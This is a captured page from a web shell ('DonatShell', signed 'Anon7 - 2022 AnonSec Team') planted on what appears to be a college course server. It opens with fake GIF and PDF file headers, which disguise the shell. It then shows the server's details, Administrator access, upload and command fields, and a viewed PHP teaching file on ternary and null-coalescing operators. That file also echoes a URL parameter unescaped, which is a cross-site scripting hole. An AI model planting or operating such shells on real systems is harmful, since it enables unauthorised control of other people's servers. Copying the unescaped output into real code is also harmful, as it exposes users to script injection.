GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/CST1146/Resources/Examples/Week/07/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/CST1146/Resources/Examples/Week/07/Example4.php
<!DOCTYPE html>
<html>
<body>

<?php

date_default_timezone_set('America/Chicago');

?><p><?php


   // variable $user is the value of $_GET['user']
   // and 'anonymous' if it does not exist
   echo $user = $_GET["user"] ?? "anonymous";
   echo("<br>");
  
   // variable $color is "red" if $color does not exist or is null
   echo $color = $color ?? "red";
   echo("<br>");
   $color = 5;
   echo $color = $color ?? "red";

?><p><h3>Chaining ternary operators</h3><?php
$eligible = true;
$has_credit = false;
$message = $eligible
			? ($has_credit
					? 'Can use the credit'
					: 'Not enough credit')
			: 'Not eligible to buy';
echo $message;
echo("<br>");

$eligible = true;
$has_credit = true;
$message = $eligible
			? ($has_credit
					? 'Can use the credit'
					: 'Not enough credit')
			: 'Not eligible to buy';
echo $message;
echo("<br>");

$eligible = false;
$has_credit = false;
$message = $eligible
			? ($has_credit
					? 'Can use the credit'
					: 'Not enough credit')
			: 'Not eligible to buy';
echo $message;
echo("<br>");

$x = 1;
$y = 2;
$message = $x > $y ? 'bigger' : ( $x < $y ? 'smaller' : 'same' ) ;
echo $message;
echo("<br>");
$y = 0;
$message = $x > $y ? 'bigger' : ( $x < $y ? 'smaller' : 'same' ) ;
echo $message;
echo("<br>");
$y = 1;
$message = $x > $y ? 'bigger' : ( $x < $y ? 'smaller' : 'same' ) ;
echo $message;
echo("<br>");


?><p><h3>Null coalescing operator</h3><?php
$username = $username ?? 'nobody';
echo $username;
echo("<br>");

if (!isset($ooga)) { $ooga = 'ooga was not set'; }
echo $ooga;
echo("<br>");

if (empty($booga)) { $booga = 'booga was empty'; }
echo $booga;
echo("<br>");

if ($z != 5) { 
	$z = 'z is not 5';
}
echo $z;
echo("<br>");

$var = 0;
// Evaluates to true because $var is empty
if (empty($var)) {
    echo '$var is either 0, empty, or not set at all';
}
echo("<br>");

// Evaluates as true because $var is set
if (isset($var)) {
    echo '$var is set even though it is empty';
}

?>

</body>
</html>

Anon7 - 2022
AnonSec Team